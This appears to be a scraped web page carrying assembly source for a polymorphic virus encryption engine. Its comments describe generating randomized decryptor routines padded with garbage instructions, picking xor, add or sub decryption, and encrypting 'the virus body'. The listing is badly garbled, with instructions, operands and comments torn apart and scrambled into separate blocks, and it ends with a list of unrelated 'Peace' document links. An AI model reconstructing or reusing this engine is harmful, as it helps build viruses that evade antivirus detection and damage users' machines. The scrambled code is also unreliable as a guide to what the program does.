word word word put_into: pushf push push push push mov mov call and call call jmp putdone: pop pop pop pop popf ret p1: mov or stosb mov stosw call jmp p2: and call mov mov or stosb mov stosw call mov mov or mov sub mov shl or stosw jmp p3: and call mov mov or stosb

offset p2 offset p4 offset p3 ax bx cx dx value,ax target,dh rnd_get ax,00000011b mul_set rndget word ptr cs:[si+tablep] dx cx bx ax

al,10111000b al,target

; mov ,value ; es: ; mov bp,0feffh

ax,value rndgarb putdone ah,00000111b chk_reg dh,ah al,10111000b al,ah ax,value

; mov ,value ; xchg , ; es: ; mov bx,0fe45h ; xchg si,bx

rndgarb al,10000111b ah,11000000b ah,dh dh,target cx,cx cl,03 dh,cl ah,dh putdone ah,00000111b chk_reg dh,ah al,10111000b al,ah

; ; ; ; ; ;

mov ,value push pop es: mov dx,1234h push dx

p4:

p4or:

p4val:

p4add:

mov stosw call mov or stosb call mov mov or stosb jmp

ax,value

and sub lea xlat stosb mov sub or or mov shl or stosb call call and cmp jz

al,00000001b ah,ah bx,clear

xor mov mov mov or stosw

ax,ax al,10000001b ah,11001000b bl,target ah,bl

mov stosw jmp

ax,value

sub mov mov or or stosw jmp

ax,ax al,10000001b bl,target ah,bl ah,11000000b

cld push push pop

pop dx

rndgarb al,01010000b al,dh rndgarb dh,target al,01011000b al,dh putdone

bl,target al,al al,11000000b al,bl cl,3 bl,cl al,bl rndgarb rndget al,00000001b al,1 p4add

putdone

p4val

; this is the main call to the engine . crypt:

;

cs cs ds

; sub/xor , ; add/or ,value ; es: ; sub cx,cx ; or cx,fe01h

pop mov mov mov mov mov mov

es key,ax set,bl entry,bp decloc,di gflag,yes zerof,nope

; saving setting and en/decryption ; values into buffers

; step one : garbage instructions above decryption routine . crypt2: test jnz fill_garb: call and sub mov inc call loop

set,01000000b crypt3 rnd_get al,00001111b cx,cx cl,al cx garb $-3

; insert a lot of random instructions

; call for some times the rnd engine ; fill the decryptor of garbage

; step two : set cx for loop . crypt3:

cx_word:

cx_byte:

test mov jz

set,00000001b dh,00000001b cx_byte

push xor mov mov div add pop call jmp

dx dx,dx ax,virlen bx,2 bx ax,dx dx put_into crypt4

mov call

ax,virlen put_into

; look for byte/word en/decryption ; insert into cx register the ; loop counter ; calculate cx value for byte ; decryption

; put it into cx ; word decryption

; step tree : set si or di pointer to code to decrypt . crypt4:

use_di:

use_si:

call test jnz

rndgarb set,00000100b use_si

; put garbage ; look for decryption register

mov mov call jmp

dh,00000111b ax,0ffffh put_into crypt5

; insert di opcode ; the value is the virus firm ; make the code

mov mov call

dh,00000110b ax,0ffffh put_into

; put into si the flag for later use

; step four: make decryption instruction . crypt5: mov call mov call call mov stosb mov test jnz and put_instr: stosb test jz test jz use_xor: mov mov jmp use_sub: mov jmp use_add: sub patch_reg: test jz set_si: or jmp set_di: or patch_delta: stosb test pushf sub popf jnz calc_delta: call mov push push mov add sub test pop pop jz or stosw

gflag,nope rndgarb lupadrs,di rndgarb rndgarb al,02eh

; save current ofs for later use ; put the cs: opcode

al,10000001b set,00000001b put_instr al,11111110b

; common part of the instruction ; see if it is a word encryption

set,00010000b use_add set,00100000b use_sub

; look for the decryption opcode

al,00110000b zerof,yes patch_reg al,00101000b patch_reg al,al

; xor may affect zr flag ; ; patching opcode for the various ; decryprion instructions

set,00000100b set_di al,00000100b patch_delta al,00000101b ; look for the delta offset set,00000010b ax,ax no_delta rnd_get deltaofs,ax ax bx bx,200h bx,entry bx,ax bx,11000000b bx ax calc_delta byte ptr cs:[di-1],10000000b ; patch old opcode for delta ofs

no_delta: test jz key_word: mov stosw jmp key_byte: mov stosb jmp

set,00000001b key_byte ax,key

; decrypt code with a word key

crypt6 al,byte ptr key[01] crypt6

; use a byte key .

; step five : loop incrementation routine . crypt6: call call call call and cmp jz cmp jz cmp jz use_addsub: mov mov test jnz add_di: or jmp add_si: or put_add: stosw test jz add_word: mov jmp add_byte: mov put_addvalue: stosw jmp use_scas: test jnz mov mov test jz scas_word: or scas_byte:

rndgarb rndgarb rndgarb rnd_get ah,00000011b ah,0 use_scas ah,00000010b use_cmps ah,00000011b use_inc

; look for the appropiate ; incrementation instruction ; use scas(b/w) ; use cmps(b/w) ; use inc / (inc)

al,10000001b ah,0c0h set,00000100b add_si

; use add (si/di),(1/2)

ah,000000111b put_add

; look for decryption register

ah,000000110b set,00000001b add_byte

; look for byte of word incrementation

ax,2 put_addvalue ax,1 crypt7 set,00000100b use_cmps zerof,yes al,10101110b set,00000001b scas_byte

; ; ; ;

if si reg , don't use scas instr . look for incremenation length may affect zr setting and put the appropiate instr .

al,00000001b

; patch for word

stosb jmp use_cmps: mov mov test jz cmps_word: or cmps_byte: stosb jmp use_inc: mov patch_reg2: test jnz inc_di: or jmp inc_si: or put_inc: stosb test jz push call call pop stosb

crypt7 zerof,yes al,10100110b set,00000001b cmps_byte

; may affect zero flag ; same as above code .

al,00000001b crypt7 al,01000000b

; set inc op-code .

set,00000100b inc_si al,00000111b put_inc

; patch register opcode

al,00000110b set,00000001b crypt7 ax rndgarb rndgarb ax

; look for byte or word and ; put the instruction/s

; step six : loop index handling ( or " how to decrement cx register " ) crypt7: call call test jz use_loop: mov patch_loop: stosb mov mov sub mov sub xchg stosb jmp use_jx: cmp jz mov stosb call call

rndgarb rndgarb set,00001000b use_jx

; put a lot of garbage ; look for the loop setting

al,11100010b ; calculating loop offset bx,di dx,lupadrs bx,dx bh,0ffh bh,bl al,bh crypt8 zerof,yes use_loop al,01001001b rndgarb rndgarb

; address of the decryption instr .

; put offset into instruction

; use dec cx , jnz/jg

use_jnz: use_jg:

call call and cmp jz

rndgarb rnd_get ah,00000001b ah,1 use_jg

mov jmp

al,01110101b patch_loop

mov jmp

al,01111111b patch_loop

; step seven : patch register assignment . crypt8: push mov sub mov pop std mov mov scan_ff:

repne cmp jne cld mov add patch_delta2: test jnz sub put_point: stosw

di bx,decloc di,bx declen,di di al,0ffh cx,declen

; now it's time to setup si/di reg ; calculate decryptor length ; scan decryptor for the flag

scasb byte ptr [di],0ffh scan_ff

; check if it is the flag ; if not , continue the scan routine

ax,declen ax,entry

; look for the presence of a delta ofs

set,00000010b put_point ax,deltaofs

; if delta , substract delta value ; put value into si/di instruction

; set up return values . crypt_end: mov mov ret

cx,declen dx,decloc

; cx = decryptor length ; dx = decryptor offset

; this procedure encrypts the virus body . ; si = start offset of the code cx = number of bytes to encrypt ; di = target offset of the code crypt_code: push push test jz word_loop: inc shr w_lup: mov

di cx set,00000001b b_lup cx cx,1 dx,key

lodsw call stosw loop jmp b_lup:

encrypt:

mov lodsb xchg xor call stosb loop jmp

encrypt w_lup encrypt_done dx,key dh,dl dh,dh encrypt b_lup encrypt_done

test jz test jz encrypt_xor: xor ret encrypt_add: add ret encrypt_sub: sub ret encrypt_done: pop pop ret

set,00010000b encrypt_sub set,00100000b encrypt_add

virlen over

equ :

$-100h

db

02,00,00,00,0cdh,020h

ends end

start

_code

ax,dx ax,dx ax,dx cx dx

Related Documents

Peace
November 2019 60
Peace
November 2019 60
Peace
December 2019 52
Peace
November 2019 42
Peace
November 2019 58
Peace
May 2020 17